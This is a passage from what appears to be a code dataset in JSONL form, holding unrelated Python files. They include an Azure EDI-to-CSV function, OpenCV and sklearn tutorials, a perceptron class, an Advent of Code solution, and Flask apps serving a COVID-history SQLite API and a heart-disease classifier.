pd.DataFrame()\r\n for map in conf_mapping.items():\r\n if map[0] in elements.columns:\r\n #print(f'{map[0]=}:{map[1]=} = {elements[str(map[0])].iloc[0]=}')\r\n result_df[map[1]] = elements[str(map[0])]\r\n #print(result_df.to_markdown())\r\n return result_df\r\n\r\ndef main(message: func.ServiceBusMessage):\r\n # Log the Service Bus Message as plaintext\r\n\r\n message_content_type = message.content_type\r\n message_body = message.get_body().decode(\"utf-8\")\r\n # Get Application settings\r\n conn_str = os.environ[\"arthaccapoc2_STORAGE\"]\r\n\r\n container_config = \"cca-edi-config\"\r\n container_extract = \"cca-edi-extract\"\r\n edi_config = \"edi_810_config_min.json\"\r\n\r\n \r\n #blob_service_client = BlobServiceClient.from_connection_string(conn_str)\r\n #blob_client = blob_service_client.get_blob_client(container=container, blob=file.filename)\r\n #blob_client.upload_blob(file)\r\n\r\n with BlobServiceClient.from_connection_string(conn_str) as blob_service_client:\r\n with blob_service_client.get_blob_client(container=container_config, blob=edi_config) as blob_client: \r\n download_stream = blob_client.download_blob()\r\n config_body = json.loads(download_stream.readall().decode('utf-8'))\r\n #print(config_body)\r\n payload = convert_edi_data_2_json(message_body,config_body)\r\n print(payload)\r\n payload_csv = convert_json_2_csv(payload,config_body)\r\n #print(payload_csv.to_markdown())\r\n local_file_name = str(uuid.uuid4()) + \".txt\"\r\n with blob_service_client.get_blob_client(container=container_extract, blob=local_file_name) as blob_client:\r\n \r\n \r\n now = datetime.now().strftime(\"%m_%d_%Y_%H_%M_%S\") \r\n edi_file_name = \"edi_\" + now\r\n #blob_client.upload_blob(payload_csv.to_string(), blob_type=\"AppendBlob\")\r\n # payload_csv.to_csv(edi_file_name,sep=',')\r\n # image_content_setting = ContentSettings(content_type='text/plain')\r\n # print(f\"uploading file - {edi_file_name}\")\r\n # with open(\"./\"+edi_file_name, \"rb\") as data:\r\n # blob_client.upload_blob(data,overwrite=True,content_settings=image_content_setting) \r\n # print(type(payload_csv.to_csv(edi_file_name,sep=','))) \r\n # print(payload_csv.to_csv(edi_file_name,sep=','))\r\n\r\n # Create a local directory to hold blob data\r\n \r\n local_path = tempfile.gettempdir()\r\n isdir = os.path.isdir(local_path)\r\n if not isdir:\r\n os.mkdir(local_path)\r\n\r\n # Create a file in the local data directory to upload and download\r\n \r\n upload_file_path = os.path.join(local_path, local_file_name)\r\n\r\n # Write text to the file\r\n file = open(upload_file_path, 'w')\r\n file.write(payload_csv.to_string())\r\n file.close()\r\n\r\n # Create a blob client using the local file name as the name for the blob\r\n blob_client = blob_service_client.get_blob_client(container=container_extract, blob=local_file_name)\r\n\r\n print(\"\\nUploading to Azure Storage as blob:\\n\\t\" + local_file_name)\r\n\r\n # Upload the created file\r\n with open(upload_file_path, \"rb\") as data:\r\n blob_client.upload_blob(data)\r\n \r\n\r\n logging.info(\"Python ServiceBus topic trigger processed message.\")\r\n logging.info(\"Message Content Type: \" + message_content_type)\r\n logging.info(\"Message Body: \" + message_body)\r\n\r\n ","sub_path":"CcaFileProcessingServicebusTrigger/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"354495864","text":"# coding=utf-8\n#================================================================\n#\n# File name : _13_xuanzhuan.py\n# Author : Faye\n# Created date: 2021/2/18 14:16 \n# Description : 图片旋转\n#\n#================================================================\nimport cv2\nimport random\n\ndef get_image_rotation(image, rotation, scale):\n #通用写法,即使传入的是三通道图片依然不会出错\n height, width = image.shape[:2]\n center = (width // 2, height // 2)\n # rotation = random.randint(-20,20)\n\n #得到旋转矩阵,第一个参数为旋转中心,第二个参数为旋转角度,第三个参数为旋转之前原图像缩放比例\n M = cv2.getRotationMatrix2D(center, -rotation, scale)\n #进行仿射变换,第一个参数图像,第二个参数是旋转矩阵,第三个参数是变换之后的图像大小\n image_rotation = cv2.warpAffine(image, M, (width, height))\n return image_rotation\n\nif __name__ == '__main__':\n img = cv2.imread(r'F:\\pythonCode\\_01_demos\\pyfirst\\base\\_06_cv2\\_13_xuanzhuan\\1.jpg')\n img1 = get_image_rotation(img, 30, 0.9)\n cv2.imshow('0', img)\n cv2.imshow('1', img1)\n cv2.waitKey(1000000)","sub_path":"base/_06_cv2/_13_xuanzhuan/xuanzhuan.py","file_name":"xuanzhuan.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"620235165","text":"#coding=utf-8\n\nimport xlrd\nfrom xlutils.copy import copy\nimport xlrd\nclass OperationExcel():\n\n def __init__(self,file_name=None,sheet_id=None):\n if file_name:\n self.file_name = file_name\n self.sheetid = sheet_id\n \n else:\n self.file_name = \"../dataconfig/interface.xlsx\"\n self.sheetid = 0\n self.data = self.read_exceldata()\n\n def read_exceldata(self):\n data = xlrd.open_workbook(self.file_name)\n sheet_num = data.sheets()[self.sheetid]\n return sheet_num\n\n #获取单元格的行数\n def get_lines(self):\n return self.data.nrows\n\n #获取某一个单元格的内容\n def get_cell_value(self,row,col):\n return self.data.cell_value(row,col)\n\n #写入数据\n def write_value(self,row,col,value):\n read_data = xlrd.open_workbook(self.file_name)\n write_data = copy(read_data)\n sheet_data = write_data.get_sheet(0)\n sheet_data.write(row,col,value)\n write_data.save(self.file_name)\n\nif __name__ == \"__main__\":\n oe = OperationExcel()\n print(oe.get_lines())\n print(oe.get_cell_value(1,1))\n","sub_path":"Interface_AutoTest/util/operation_excel.py","file_name":"operation_excel.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"220428887","text":"def ejercicio6():\n print ()\n print ('JUGADORES (GAMERS)')\n print ('____________')\n\n for x in range (8):\n\n jugador = input ('ingrese el nombre del jugador: ')\n edad = int (input ('ingrese la edad del jugador: '))\n\n Novato = 'Novato'\n Experto = 'Experto'\n Super_Experto = 'Super_Experto'\n\n if edad < 14:\n print ('INGRESO UNA EDAD NO VALIDA')\n return ()\n\n elif edad >= 14 and edad <= 16:\n print ([jugador], [edad], [Novato])\n\n\n elif edad > 16 and edad <= 20:\n print ([jugador], [edad], [Experto])\n\n elif edad > 20:\n print ([jugador], [edad], [Super_Experto])\n\n\nejercicio6 ()","sub_path":"EJEREXAM6.py","file_name":"EJEREXAM6.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"571323930","text":"#!/usr/bin/python\n# -*- codding: utf-8 -*-\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom common.execute_command import write_two_parameter\n\n# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sagemaker/add-association.html\nif __name__ == '__main__':\n \"\"\"\n\tdelete-association : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sagemaker/delete-association.html\n\tlist-associations : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sagemaker/list-associations.html\n \"\"\"\n\n parameter_display_string = \"\"\"\n # source-arn : The ARN of the source.\n # destination-arn : The Amazon Resource Name (ARN) of the destination.\n \"\"\"\n add_option_dict = {}\n add_option_dict[\"parameter_display_string\"] = parameter_display_string\n # ex: add_option_dict[\"no_value_parameter_list\"] = \"--single-parameter\"\n write_two_parameter(\"sagemaker\", \"add-association\", \"source-arn\", \"destination-arn\", add_option_dict)\n","sub_path":"sagemaker_write_2/association_add.py","file_name":"association_add.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"513385066","text":"# Functions Can Return Something\n\n# This function takes to arguments and prints out whats going on and returns the value.\ndef add(a, b):\n print(f\"ADDING {a} + {b}\")\n return a + b\n# This function takes to arguments and prints out whats going on and returns the value.\ndef subtract(a, b):\n print(f\"Subtracting {a} - {b}\")\n return a - b\n# This function takes to arguments and prints out whats going on and returns the value.\ndef multipy(a, b):\n print(f\"MULTIPLYING {a} * {b}\")\n return a * b\n# This function takes to arguments and prints out whats going on and returns the value.\ndef divide(a, b):\n print(f\"DIVIDING {a} / {b}\")\n return a / b\n\n#printing out a string.\nprint(\"Let's do some math with just functions!\")\n\n# initlizing this variable with a function holding two arguments.\nage = add(30, 5)\n# initlizing this variable with a function holding two arguments.\nheight = subtract(78, 4)\n# initlizing this variable with a function holding two arguments.\nweight = multipy(90, 2)\n# initlizing this variable with a function holding two arguments.\niq = divide(100, 2)\n\n# Printing out a string that is formatted with the values of variable above.\nprint(f\"Age: {age}, Height: {height}, Weight: {weight}, IQ: {iq}\")\n# Printing out a string.\nprint(\"Here is a Puzzle.\")\n\nwhat = add(age, subtract(height, multipy(weight, divide(iq, 2))))\n\nprint(\"That becomes: \", what, \"Can you do it by hand?\")\n","sub_path":"ex21.py","file_name":"ex21.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"188888785","text":"\nimport re\n\ncommands = []\n\nwith open(\"day8_c.txt\") as bootcode_file:\n string_file = bootcode_file.read()\n commands = [(x[0], int(x[1])) for x in re.findall(\"(\\w+)\\s((\\+|\\-)\\d+)\", string_file)]\n\nvisited = [False] * len(commands)\nindex = 0\naccumulator = 0\n\ndef jmp(operation):\n global index\n index += operation\n\ndef nop():\n global index\n index += 1\n\ndef acc(operation):\n global index, accumulator\n accumulator += operation\n index += 1\n\ninstructions = {\n \"jmp\": lambda *args: jmp(*args),\n \"acc\": lambda *args: acc(*args),\n \"nop\": lambda *args: nop(*args),\n}\n\nwhile True:\n if visited[index]:\n break\n else:\n visited[index] = True\n\n instruction, operation = commands[index]\n instructions[instruction](operation)\n\nprint(accumulator)\n","sub_path":"Python/code_comp/Advent_of_code_2020/008/day8_collab_1.py","file_name":"day8_collab_1.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"154969528","text":"'''\n\n'''\n\"\"\"\ntempfile.mktemp()\n• 중복되지 않는 임시 파일의 이름을 무작위로 만들어서 리턴합니다.\n\n\"\"\"\nimport tempfile\nfilename = tempfile.mktemp()\nprint(filename)\n\n\n\"\"\"\ntempfile.TemporaryFile()\n• 임시 저장 공간으로 사용될 파일 객체를 리턴합니다.\n• 만들어진 파일은 기본적으로 바이너리 쓰기 모드(wb)를 갖습니다.\n• f.close()가 호출되면 이 파일 객체는 자동으로 사라진다.\n\n\"\"\"\n\nimport tempfile\nf = tempfile.TemporaryFile()\nprint(f)\nf.close()\nprint(f) # 객체가 그대로 출력되고 있음\n\n\n\n","sub_path":"PythonMain/src/ch16-external/ex06.py","file_name":"ex06.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"468243064","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 25 17:02:43 2018\n\n@author: averma\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns; sns.set()\nimport numpy as np\n#Here is a function that will create data in the shape of the word \"HELLO\":\n\ndef make_hello(N=1000, rseed=42):\n # Make a plot with \"HELLO\" text; save as PNG\n fig, ax = plt.subplots(figsize=(4, 1))\n fig.subplots_adjust(left=0, right=1, bottom=0, top=1)\n ax.axis('off')\n ax.text(0.5, 0.4, 'HELLO', va='center', ha='center', weight='bold', size=85)\n fig.savefig('hello.png')\n plt.close(fig)\n \n # Open this PNG and draw random points from it\n from matplotlib.image import imread\n data = imread('hello.png')[::-1, :, 0].T\n rng = np.random.RandomState(rseed)\n X = rng.rand(4 * N, 2)\n i, j = (X * data.shape).astype(int).T\n mask = (data[i, j] < 1)\n X = X[mask]\n X[:, 0] *= (data.shape[0] / data.shape[1])\n X = X[:N]\n return X[np.argsort(X[:, 0])]\n\n#Let's call the function and visualize the resulting data:\nX = make_hello(1000)\ncolorize = dict(c=X[:, 0], cmap=plt.cm.get_cmap('rainbow', 5))\nplt.scatter(X[:, 0], X[:, 1], **colorize)\nplt.axis('equal');\n \n# =============================================================================\n# Multidimensional Scaling (MDS)\n# =============================================================================\n\n#use a rotation matrix to rotate the data, the x and y values change, \n#but the data is still fundamentally the same\ndef rotate(X, angle):\n theta = np.deg2rad(angle)\n R = [[np.cos(theta), np.sin(theta)],\n [-np.sin(theta), np.cos(theta)]]\n return np.dot(X, R)\n \nX2 = rotate(X, 20) + 5\nplt.scatter(X2[:, 0], X2[:, 1], **colorize)\nplt.axis('equal');\n\n#we construct an n*n array such that entry $(i, j)$ contains the distance \n#between point $i$ and point $j$. Let's use Scikit-Learn's efficient pairwise_distances \n#function to do this for our original data:\n\nfrom sklearn.metrics import pairwise_distances\nD = pairwise_distances(X)\nD.shape\n\n#for our N=1,000 points, we obtain a 1000×1000 matrix, which can be visualized as shown here\nplt.imshow(D, zorder=2, cmap='Blues', interpolation='nearest')\nplt.colorbar();\n\n#similarly construct a distance matrix for our rotated and translated data, \n#we see that it is the same:\n\n#The MDS algorithm recovers one of the possible two-dimensional coordinate \n#representations of our data, using only the N*N distance matrix describing the \n#relationship between the data points.\n\nfrom sklearn.manifold import MDS\nmodel = MDS(n_components=2, dissimilarity='precomputed', random_state=1)\nout = model.fit_transform(D)\nplt.scatter(out[:, 0], out[:, 1], **colorize)\nplt.axis('equal');\n\n# =============================================================================\n# MDS as Manifold Learning\n# =============================================================================\n\ndef random_projection(X, dimension=3, rseed=42):\n assert dimension >= X.shape[1]\n rng = np.random.RandomState(rseed)\n C = rng.randn(dimension, dimension)\n e, V = np.linalg.eigh(np.dot(C, C.T))\n return np.dot(X, V[:X.shape[1]])\n \nX3 = random_projection(X, 3)\nX3.shape\n\n#lets visualize these points to see what we're working with:\n\nfrom mpl_toolkits import mplot3d\nax = plt.axes(projection='3d')\nax.scatter3D(X3[:, 0], X3[:, 1], X3[:, 2],**colorize)\nax.view_init(azim=70, elev=50)\n\n#We can now ask the MDS estimator to input this three-dimensional data, \n#compute the distance matrix, and then determine the optimal \n#two-dimensional embedding for this distance matrix. \n#The result recovers a representation of the original data:\n\nmodel = MDS(n_components=2, random_state=1)\nout3 = model.fit_transform(X3)\nplt.scatter(out3[:, 0], out3[:, 1], **colorize)\nplt.axis('equal');\n\n# =============================================================================\n# Nonlinear Embeddings: Where MDS Fails\n# =============================================================================\n#Consider the following embedding, which takes the input and \n#contorts it into an \"S\" shape in three dimensions:\n\ndef make_hello_s_curve(X):\n t = (X[:, 0] - 2) * 0.75 * np.pi\n x = np.sin(t)\n y = X[:, 1]\n z = np.sign(t) * (np.cos(t) - 1)\n return np.vstack((x, y, z)).T\n\nXS = make_hello_s_curve(X)\n\n#This is again three-dimensional data, but we can see that the\n# embedding is much more complicated\nfrom mpl_toolkits import mplot3d\nax = plt.axes(projection='3d')\nax.scatter3D(XS[:, 0], XS[:, 1], XS[:, 2],**colorize);\n\n#If we try a simple MDS algorithm on this data, it is not able to \n#\"unwrap\" this nonlinear embedding, and we lose track of the fundamental \n#relationships in the embedded manifold:\n\nfrom sklearn.manifold import MDS\nmodel = MDS(n_components=2, random_state=2)\noutS = model.fit_transform(XS)\nplt.scatter(outS[:, 0], outS[:, 1], **colorize)\nplt.axis('equal');\n\n# =============================================================================\n# Nonlinear Manifolds: Locally Linear Embedding\n# =============================================================================\n#locally linear embedding (LLE): rather than preserving all distances, \n#it instead tries to preserve only the distances between neighboring points\n\nfrom sklearn.manifold import LocallyLinearEmbedding\nmodel = LocallyLinearEmbedding(n_neighbors=100, n_components=2, method='modified',\n eigen_solver='dense')\nout = model.fit_transform(XS)\n\nfig, ax = plt.subplots()\nax.scatter(out[:, 0], out[:, 1], **colorize)\nax.set_ylim(0.15, -0.15);\n\n# =============================================================================\n# Example: Isomap on Faces\n# =============================================================================\nfrom sklearn.datasets import fetch_lfw_people\nfaces = fetch_lfw_people(min_faces_per_person=30)\nfaces.data.shape\n\n#Let's quickly visualize several of these images to see what we're working with\nfig, ax = plt.subplots(4, 8, subplot_kw=dict(xticks=[], yticks=[]))\nfor i, axi in enumerate(ax.flat):\n axi.imshow(faces.images[i], cmap='gray')\n \n#One useful way to start is to compute a PCA, and examine the \n#explained variance ratio, which will give us an idea of how many \n#linear features are required to describe the data:\nfrom sklearn.decomposition import RandomizedPCA\nmodel = RandomizedPCA(100).fit(faces.data)\nplt.plot(np.cumsum(model.explained_variance_ratio_))\nplt.xlabel('n components')\nplt.ylabel('cumulative variance');\n\n#When this is the case, nonlinear manifold embeddings like LLE and \n#Isomap can be helpful. We can compute an Isomap embedding on these \n#faces using the same pattern shown before\nfrom sklearn.manifold import Isomap\nmodel = Isomap(n_components=2)\nproj = model.fit_transform(faces.data)\nproj.shape\n\n#output is a two-dimensional projection of all the input images. \n#To get a better idea of what the projection tells us,\n#let's define a function that will output image thumbnails at the \n#locations of the projections\n\nfrom matplotlib import offsetbox\n\ndef plot_components(data, model, images=None, ax=None,\n thumb_frac=0.05, cmap='gray'):\n ax = ax or plt.gca()\n \n proj = model.fit_transform(data)\n ax.plot(proj[:, 0], proj[:, 1], '.k')\n \n if images is not None:\n min_dist_2 = (thumb_frac * max(proj.max(0) - proj.min(0))) ** 2\n shown_images = np.array([2 * proj.max(0)])\n for i in range(data.shape[0]):\n dist = np.sum((proj[i] - shown_images) ** 2, 1)\n if np.min(dist) < min_dist_2:\n # don't show points that are too close\n continue\n shown_images = np.vstack([shown_images, proj[i]])\n imagebox = offsetbox.AnnotationBbox(\n offsetbox.OffsetImage(images[i], cmap=cmap),\n proj[i])\n ax.add_artist(imagebox)\n\n#Calling this function now, we see the result:\nfig, ax = plt.subplots(figsize=(10, 10))\nplot_components(faces.data,\n model=Isomap(n_components=2),\n images=faces.images[:, ::2, ::2])\n\n\n\n","sub_path":"ml-code/ManifoldLearning.py","file_name":"ManifoldLearning.py","file_ext":"py","file_size_in_byte":8087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"198631799","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 11 19:14:33 2017\n\n@author: egidiomarotta\n\"\"\"\nimport numpy as np\nclass Perceptron(object):\n \"\"\" Perceptron Classifier.\n Parameter\n ---------\n eta:float\n Learning rate (0.0 to 1.0)\n n_iter:int\n Passes over the training dataset\n \n Attributes\n ----------\n w_:1d-array\n weights after fitting\n error_:list\n Number of misclassifications in every epoch\n \"\"\"\n def __init__(self, eta = 0.01, n_iter = 10):\n self.eta = eta\n self.n_iter = n_iter\n \n def fit(self,X,y):\n \"\"\"Fitting data\n Parameter\n ---------\n X: {array-like}, shape = [n_samples, n_features]\n Training vectors, n_sample is the no. of samples and n_features is the no. of features.\n y: array-like, shape = [n_samples]\n Target values\n Returns\n ----------\n self:object\n \"\"\"\n self.w_ = np.zeros(1 + X.shape[1])\n self.errors_ = []\n for _ in range(self.n_iter):\n errors = 0\n for xi, target in zip(X,y):\n update = self.eta*(target-self.predict(xi))\n self.w_[1:] += update*xi\n self.w_[0] += update\n errors += int(update !=0.0)\n self.errors_.append(errors)\n print(self.w_)\n return self\n \n def net_input(self,X):\n \"\"\"calculate net input\"\"\"\n return np.dot(X, self.w_[1:]) + self.w_[0]\n \n def predict(self,X):\n \"\"\"returns class label after unit step\"\"\"\n return np.where(self.net_input(X) >= 0.0, 1, -1)\n \n \n \n \n","sub_path":"Guide_to_Engineering_Data_Science-master/HOMEWORK 6/Perceptron_UnitStep.py","file_name":"Perceptron_UnitStep.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"510361055","text":"from flask import Flask, jsonify, request\r\nimport json\r\nimport sqlite3\r\n\r\napplication = Flask(__name__)\r\n\r\n#home url to test\r\n@application.route('/', methods=['GET'])\r\ndef home():\r\n return '

    COVID TIMES API

    '\r\n# returns items as dictionaries {col: row}\r\ndef dict_factory(cursor, row):\r\n d = {}\r\n for idx, col in enumerate(cursor.description):\r\n d[col[0]] = row[idx]\r\n return d\r\n\r\n# add a user to the DB\r\n@application.route('/covidapi/resources/useradd', methods=['POST'])\r\ndef add_user():\r\n try:\r\n uname = request.json['name']\r\n with sqlite3.connect(\"covidtimesdata.db\") as conn:\r\n cur = conn.cursor()\r\n cur.execute(\"INSERT INTO Users (name) VALUES(?)\",(uname,))\r\n conn.commit()\r\n print(\"User {} added\".format(uname))\r\n except Exception as e:\r\n print(e)\r\n print(\"There was an exception on adding user rolling back\")\r\n conn.rollback()\r\n\r\n finally:\r\n return jsonify({'name': uname}), 201\r\n conn.close()\r\n\r\n\r\n# return all of the users, from a DB\r\n@application.route('/covidapi/resources/users', methods=['GET'])\r\ndef get_all_users():\r\n with sqlite3.connect('covidtimesdata.db') as conn:\r\n conn.row_factory = dict_factory\r\n cur = conn.cursor()\r\n all_users = cur.execute(\"SELECT * FROM Users;\").fetchall()\r\n \r\n return jsonify(all_users)\r\n conn.close()\r\n\r\n# return history of user, from a DB\r\n@application.route('/covidapi/resources/history/', methods=['GET'])\r\ndef get_all_user_history(name):\r\n with sqlite3.connect('covidtimesdata.db') as conn:\r\n conn.row_factory = dict_factory\r\n cur = conn.cursor()\r\n #userid = cur.execute(\"SELECT id FROM Users WHERE name=?;\",[name]).fetchone()\r\n all_user_history = cur.execute(\"SELECT * FROM History WHERE userid=(SELECT id FROM Users WHERE name=?);\", [name]).fetchall()\r\n\r\n return jsonify(all_user_history) \r\n conn.close() \r\n\r\n# add user history to DB\r\n@application.route('/covidapi/resources/historyadd', methods=['POST'])\r\ndef add_user_history():\r\n try:\r\n uname = request.json['name']\r\n searchterm = request.json['searchterm']\r\n fromdate = request.json['fromdate']\r\n todate = request.json['todate']\r\n casecount = request.json['casecount']\r\n \r\n with sqlite3.connect(\"covidtimesdata.db\") as conn:\r\n cur = conn.cursor()\r\n userid = cur.execute(\"SELECT id FROM Users WHERE name=?;\",[uname]).fetchone()\r\n\r\n cur.execute(\"INSERT INTO History (userid,searchterm, fromdate, todate, casecount) VALUES(?,?,?,?,?)\",(userid[0],searchterm,fromdate, todate, casecount))\r\n conn.commit()\r\n print(\"Added to history {}, {}\".format(uname,searchterm))\r\n except Exception as e:\r\n print (e)\r\n print(\"There was an error on adding history rolling back\")\r\n conn.rollback()\r\n\r\n finally:\r\n return jsonify({'user name': uname,'search term': searchterm}), 201\r\n conn.close()\r\n\r\n# return all of the vaccination info, from DB\r\n@application.route('/covidapi/resources/vaccinations/all', methods=['GET'])\r\ndef get_all_vaccine_info():\r\n with sqlite3.connect('covidtimesdata.db') as conn:\r\n conn.row_factory = dict_factory\r\n cur = conn.cursor()\r\n all_vaccine_info = cur.execute(\"SELECT * FROM Vaccinations;\").fetchall()\r\n \r\n return jsonify(all_vaccine_info)\r\n conn.close()\r\n\r\n# return vaccination info by county\r\n@application.route('/covidapi/resources/vaccinations/', methods=['GET'])\r\ndef get_vaccinations_county(county):\r\n with sqlite3.connect('covidtimesdata.db') as conn:\r\n conn.row_factory = dict_factory\r\n cur = conn.cursor()\r\n county_vaccines = cur.execute(\"SELECT * FROM Vaccinations WHERE county=?;\", [county]).fetchall()\r\n\r\n return jsonify(county_vaccines) \r\n conn.close() \r\n\r\n# return vaccination provider by irvine zip code\r\n@application.route('/covidapi/resources/vaccinations/irvine/', methods=['GET'])\r\ndef get_vaccine_provider_irvine(zip):\r\n with sqlite3.connect('covidtimesdata.db') as conn:\r\n conn.row_factory = dict_factory\r\n cur = conn.cursor()\r\n vaccine_provider = cur.execute(\"SELECT * FROM Provider WHERE zipcode=?;\", [zip]).fetchall()\r\n\r\n return jsonify(vaccine_provider) \r\n conn.close() \r\n\r\n\r\n# run the app.\r\nif __name__ == \"__main__\":\r\n application.debug = True\r\n application.run()","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"77490618","text":"from flask import Flask, render_template\nfrom sklearn.datasets import load_wine\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\nfrom flask import request\nimport pandas as pd\nimport csv\nfrom sklearn.naive_bayes import GaussianNB\nimport numpy as np\nfrom joblib import dump, load\nimport array\nfrom decimal import Decimal\n\napp = Flask(__name__)\n\n\nclf = load('heart.joblib')\nclf_250 = load('heart_250.joblib')\nclf_200 = load('heart_200.joblib')\nclf_100 = load('heart_100.joblib')\n\nmedic = pd.read_csv('data.csv')\n\n\n\nnp.set_printoptions(suppress=True, infstr='inf', formatter={'complex_kind':'{:.10f}'.format})\n\n@app.route('/')\ndef index():\n\tdata = pd.read_csv(\"heart data.csv\")\n\theart_data = data.iloc[:, 0:11]\n\theart_label = data.iloc[:, 10]\n\n\tprint(heart_data)\n\tdata_prediksi = []\n\tdata_label = []\n\tdata_names = [0,1]\n\tdata_sample = []\n\tdata_sample2 = []\n\n\tfor i in range(293):\n\t data_prediksi.append(heart_data.iloc[i].tolist())\n\t data_label.append(heart_label.iloc[i].tolist())\n\t data_prediksi[i][5] = int(data_prediksi[i][5])\n\t \n\tcounter = 0\n\tfor n in range(293):\n\t\tif counter < 5 :\n\t\t if data_prediksi[n][10] == 0 : \n\t\t data_sample.append(data_prediksi[n])\n\t\t counter = counter + 1 \n\tcounter = 0\n\tfor n in range(293):\n\t\tif counter < 5 :\n\t\t if data_prediksi[n][10] == 1 : \n\t\t data_sample.append(data_prediksi[n])\n\t\t counter = counter + 1 \n\t \n\t(trainX, testX, trainY, testY) = train_test_split(data_prediksi, data_label, test_size = 0.25, random_state = 42)\n\n\t\n\n\treturn render_template(\"base.html\", data_sample=enumerate(data_sample))\n\n@app.route('/', methods=['POST'])\ndef upload_data():\n\tdata = pd.read_csv(\"heart data.csv\")\n\theart_data = data.iloc[:, 0:11]\n\theart_label = data.iloc[:, 10]\n\n\tprint(heart_data)\n\tdata_prediksi = []\n\tdata_label = []\n\tdata_names = [0,1]\n\tdata_sample = []\n\tdata_sample2 = []\n\n\tfor i in range(293):\n\t data_prediksi.append(heart_data.iloc[i].tolist())\n\t data_label.append(heart_label.iloc[i].tolist())\n\t data_prediksi[i][5] = int(data_prediksi[i][5])\n\t \n\tcounter = 0\n\tfor n in range(293):\n\t\tif counter < 5 :\n\t\t if data_prediksi[n][10] == 0 : \n\t\t data_sample.append(data_prediksi[n])\n\t\t counter = counter + 1 \n\tcounter = 0\n\tfor n in range(293):\n\t\tif counter < 5 :\n\t\t if data_prediksi[n][10] == 1 : \n\t\t data_sample.append(data_prediksi[n])\n\t\t counter = counter + 1 \n\n\n\tif (request.method == 'POST'):\n\t\tdata = request.form.to_dict([])\n\t\tnama = data['nama']\n\t\tumur = pd.to_numeric(data['umur'])\n\t\tsex = pd.to_numeric(data['sex'])\n\t\tnyeri = pd.to_numeric(data['nyeri'])\n\t\ttekanan = pd.to_numeric(data['tekanan_darah'])\n\t\tkolesterol = pd.to_numeric(data['kolesterol'])\n\t\tguldar = pd.to_numeric(data['guldar'])\n\t\telektrokardiografi = pd.to_numeric(data['elektrokardiografi'])\n\t\tdenyut = pd.to_numeric(data['denyut'])\n\t\tsesak = pd.to_numeric(data['sesak'])\n\t\tdepresi = pd.to_numeric(data['depresi'])\n\t\t\n\t\t\n\t\t\n\n\t\txPredict = np.array([[umur, sex, nyeri, tekanan, kolesterol, guldar, elektrokardiografi, denyut, sesak, depresi]])\n\t\txPredict = xPredict.ravel()\n\t\tpredict = [xPredict]\n\n\t\t#xPredict = [[54,0,3,130,294,0,1,100,1,0]]\n\t\tprint(\"Hasil:\")\n\n\t\tprint(clf.predict(predict))\n\n\t\tres = clf.predict(predict)\n\t\tres_250 = clf_250.predict(predict)\n\t\tres_200 = clf_200.predict(predict)\n\t\tres_100 = clf_100.predict(predict)\n\n\t\tres_prob = clf.predict_proba(predict)\n\t\tres_prob_1 = '{:.5f}'.format(float(np.squeeze(clf.predict_proba(predict)[:,0], axis=0)))\n\t\tres_prob_2 = '{:.5f}'.format(float(np.squeeze(clf.predict_proba(predict)[:,1], axis=0)))\n\t\n\n\n\n\t\tres_prob_250 = clf_250.predict_proba(predict)\n\t\tres_prob_250_1 = '{:.5f}'.format(float(np.squeeze(clf_250.predict_proba(predict)[:,0], axis=0)))\n\t\tres_prob_250_2 = '{:.5f}'.format(float(np.squeeze(clf_250.predict_proba(predict)[:,1], axis=0)))\n\n\t\tres_prob_200 = clf_200.predict_proba(predict)\n\t\tres_prob_200_1 = '{:.5f}'.format(float(np.squeeze(clf_200.predict_proba(predict)[:,0], axis=0)))\n\t\tres_prob_200_2 = '{:.5f}'.format(float(np.squeeze(clf_200.predict_proba(predict)[:,1], axis=0)))\n\n\t\tres_prob_100 = clf_100.predict_proba(predict)\n\t\tres_prob_100_1 = '{:.5f}'.format(float(np.squeeze(clf_100.predict_proba(predict)[:,0], axis=0)))\n\t\tres_prob_100_2 = '{:.5f}'.format(float(np.squeeze(clf_100.predict_proba(predict)[:,1], axis=0)))\n\n\tif (res == 0):\n\t\tdiagnose = \"tidak berpotensi terkena serangan jantung.\"\n\telse:\n\t\tdiagnose = \"berpotensi terkena serangan jantung.\"\n\n\tif (res_250 == 0):\n\t\tdiagnose2 = \"tidak berpotensi terkena serangan jantung.\"\n\telse:\n\t\tdiagnose2 = \"berpotensi terkena serangan jantung.\"\n\n\tif (res_200 == 0):\n\t\tdiagnose3 = \"tidak berpotensi terkena serangan 